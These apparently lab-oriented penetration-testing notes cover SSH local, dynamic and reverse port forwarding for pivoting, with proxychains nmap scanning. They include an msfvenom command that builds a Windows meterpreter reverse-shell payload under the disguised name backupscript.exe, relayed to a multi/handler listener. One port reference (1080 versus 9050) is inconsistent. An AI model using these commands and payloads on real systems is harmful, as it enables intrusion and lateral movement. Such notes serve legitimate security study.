SSH
Local port forwarding
ssh -L 1234:localhost:3306 Ubuntu@10.129.202.64The -L command tells the SSH client to request the SSH server to forward all the data we send via the port 1234 to localhost:3306 on the Ubuntu server.
Confirming Port Forward with Netstat
netstat -antp | grep 1234Dynamic port forwarding
ssh -D 1080 ubuntu@10.129.202.64The -D argument requests the SSH server to enable dynamic port forwarding. Once we have this enabled, we will require a tool that can route any tool's packets over port 9050.
Nmap
proxychains nmap -v -Pn -sT 172.16.5.19Setting up remote/reverse port forwarding through SSH
Payload - listener sent to InteralIPofPivotHost:8080
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080SSH remote port forward - InteralIPofPivotHost:8080 --> 8000
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vNLocal listener on port 0.0.0.0:8000 
Use multi/handler LPORT 8000
Last updated